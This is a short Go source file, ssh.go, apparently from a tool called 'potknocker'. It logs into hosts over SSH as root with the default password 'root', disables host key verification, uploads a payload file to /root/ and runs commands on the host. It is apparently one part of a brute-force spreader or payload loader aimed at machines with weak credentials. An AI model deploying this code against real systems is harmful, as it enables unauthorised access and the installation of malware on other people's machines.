potknocker/common/ssh.go
2024-08-30 18:51:26 -05:00

32 lines
583 B
Go

package common
import (
"net"
"time"
"github.com/melbahja/goph"
"golang.org/x/crypto/ssh"
)
func connssh(addr string) (*goph.Client, error) {
return goph.NewConn(&goph.Config{
User: "root",
Addr: addr,
Port: uint(22),
Auth: goph.Password("root"),
Callback: func(hostname string, remote net.Addr, key ssh.PublicKey) error {
return nil
},
Timeout: 400 * time.Millisecond,
})
}
func loadpl(c *goph.Client) error {
return c.Upload(Params.Payload, "/root/"+Params.Payload)
}
func runcmd(c *goph.Client, cmd string) error {
_, err := c.Run(cmd)
return err
}